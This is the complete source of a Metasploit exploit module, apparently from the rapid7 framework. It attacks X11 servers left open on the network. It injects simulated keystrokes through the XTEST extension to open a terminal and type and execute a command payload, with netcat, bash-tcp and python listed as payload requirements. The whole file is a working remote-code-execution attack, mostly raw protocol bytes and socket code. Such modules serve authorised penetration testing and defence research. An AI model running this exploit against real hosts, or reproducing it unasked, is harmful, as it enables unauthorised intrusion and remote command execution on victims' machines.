modules/exploits/unix/x11/x11_keyboard_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
KB_KEYS = {
'1' => "\x0a",
'2' => "\x0b",
'3' => "\x0c",
'4' => "\x0d",
'5' => "\x0e",
'6' => "\x0f",
'7' => "\x10",
'&' => "\x10",
'8' => "\x11",
'9' => "\x12",
'(' => "\x12",
'0' => "\x13",
')' => "\x13",
'-' => "\x14",
'=' => "\x15",
'q' => "\x18",
'w' => "\x19",
'e' => "\x1a",
'r' => "\x1b",
't' => "\x1c",
'y' => "\x1d",
'u' => "\x1e",
'i' => "\x1f",
'o' => "\x20",
'p' => "\x21",
'[' => "\x22",
'{' => "\x22",
']' => "\x23",
'}' => "\x23",
'a' => "\x26",
's' => "\x27",
'd' => "\x28",
'f' => "\x29",
'g' => "\x2a",
'h' => "\x2b",
'j' => "\x2c",
'k' => "\x2d",
'l' => "\x2e",
';' => "\x2f",
':' => "\x2f",
"'" => "\x30",
'"' => "\x30",
'`' => "\x31",
'~' => "\x31",
'lshift' => "\x32",
'\\' => "\x33",
'|' => "\x33",
'z' => "\x34",
'x' => "\x35",
'c' => "\x36",
'v' => "\x37",
'b' => "\x38",
'n' => "\x39",
'm' => "\x3a",
',' => "\x3b",
'<' => "\x3b",
'.' => "\x3c",
'>' => "\x3c",
'/' => "\x3d",
'*' => "\x3f",
'alt' => "\x40",
' ' => "\x41",
'f2' => "\x44"
}
def initialize(info = {})
super(update_info(info,
'Name' => 'X11 Keyboard Command Injection',
'Description' => %q{
This module exploits open X11 servers by connecting and registering a
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
terminal and type and execute the specified payload.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'Privileged' => false,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'gawk bash-tcp python netcat'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'xterm (Generic)', {}],
[ 'gnome-terminal (Ubuntu)', {}],
], 'DisclosureDate' => '2015-07-10',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6000),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
])
end
def xkeyboard_key
req = ""
req << @xkeyboard_opcode
req << "\x05" # Extension minor: 5 (LatchLockState)
req << "\x04\x00" # Request length: 4
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
req << "\x00" # affectModLocks: 0
req << "\x00" # modLocks: 0
req << "\x01" # lockGroup: True
req << "\x00" # groupLock: 0
req << "\x00" # affectModLatches: 0
req << "\x00" # Unused
req << "\x00" # latchGroup: False
req << "\x00\x00" # groupLatch: 0
req << "\x00" # Undecoded
return req
end
def press_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x02" # Press key (Type: 2)
req << key # What key to press
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
end
end
def release_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x03" # Release key (Type: 3)
req << key # What key to release
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
end
end
def type_command(command)
# Specify the special keys which need to have shift pressed first to type
specialkeys = '<>{}|"&()'.chars
values = command.chars
values.each do |value|
key = KB_KEYS[value]
# Special keys need a shift pressed to be typed
if Regexp.union(specialkeys) =~ value
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(key)
release_key(KB_KEYS["lshift"])
release_key(key)
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
elsif value =~ /[A-Z]/
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(KB_KEYS[value.downcase])
release_key(KB_KEYS["lshift"])
release_key(KB_KEYS[value.downcase])
# All normal keys which are not special keys or uppercase characters
else
press_key(key)
release_key(key)
end
end
# Send an enter
press_key("\x24") # [enter]
release_key("\x24") # [enter]
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end
def exploit
begin
connect
print_status("#{rhost}:#{rport} - Register keyboard")
req = "\x6c" # Byte order (Little-Endian)
req << "\x00" # Unused
req << "\x0b\x00" # Protocol major version: 11
req << "\x00\x00" # Protocol minor version: 0
req << "\x00\x00" # Authorization protocol name length: 0
req << "\x00\x00" # Authorization protocol data length: 0
req << "\x00\x00" # Unused
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
end
# Keyboard registration
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x05\x00" # Request length: 5
req << "\x09\x00" # Name length: 9
req << "\x60\x03" # Unused?
req << "XKEYBOARD" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
else
#puts res.inspect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x00" # Extension minor: 0 (UseExtension)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Wanted Major: 1
req << "\x00\x00" # Wanted Minor: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x06\x00" # Request length: 6
req << "\x0f\x00" # Name length: 15
req << "\x00\x00" # Unused
req << "XInputExtension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x04\x00" # Request length: 4
req << "\x05\x00" # Name length: 5
req << "\x00\x00" # Unused
req << "XTEST" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x08\x00" # Request length
req << "\x17\x00" # Name length
req << "\x00\x00" # Unused
req << "Generic Event Extension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
end
req = ""
req << @genericevent_opcode
req << "\x00" # Extension minor: 0 (QueryVersion)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Client major version: 1
req << "\x00\x00" # Client minor version: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
req = ""
req << @xtest_opcode
req << "\x00" # Extension minor: 0 (GetVersion)
req << "\x02\x00" # Request length: 2
req << "\x02\x00" # Major version: 2
req << "\x02\x00" # Minor version: 2
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
end
req = "\x65" # Opcode 101: GetKeyboardMapping
req << "\x00" # Unused
req << "\x02\x00" # Request length: 2
req << "\x08" # First keycode: 8
req << "\xf8" # Count: 248
req << "\x02\x00" # Unused?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x08" # Extension minor: 8 (GetMap)
req << "\x07\x00" # Request length: 7
req << "\x00\x01" # Device spec: 0x0100 (256)
req << "\x07\x00" # Full: 7
req << "\x00\x00" # Partial: 0
req << "\x00" # firsType: 0
req << "\x00" # nTypes: 0
req << "\x00" # firstKeySym: 0
req << "\x00" # nKeySym: 0
req << "\x00" # firstKeyAction: 0
req << "\x00" # nKeysActions: 0
req << "\x00" # firstKeyBehavior: 0
req << "\x00" # nKeysBehavior: 0
req << "\x00\x00" # virtualMods: 0
req << "\x00" # firstKeyExplicit: 0
req << "\x00" # nKeyExplicit: 0
req << "\x00" # firstModMapKey: 0
req << "\x00" # nModMapKeys: 0
req << "\x00" # firstVModMapKey: 0
req << "\x00" # nVModMapKeys: 0
req << "\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
# Press ALT+F2 to start up "Run application"
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
press_key(KB_KEYS["alt"])
press_key(KB_KEYS["f2"])
release_key(KB_KEYS["alt"])
release_key(KB_KEYS["f2"])
# Wait X seconds to open the dialog
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
Rex.sleep(datastore['TIME_WAIT'])
if datastore['TARGET'] == 0
# Start a xterm terminal
print_status("#{rhost}:#{rport} - Opening xterm")
type_command("xterm")
else
# Start a Gnome terminal
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
type_command("gnome-terminal")
end
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
# Wait X seconds to open the terminal
Rex.sleep(datastore['TIME_WAIT'])
# "Type" our payload and execute it
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
type_command(command)
handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end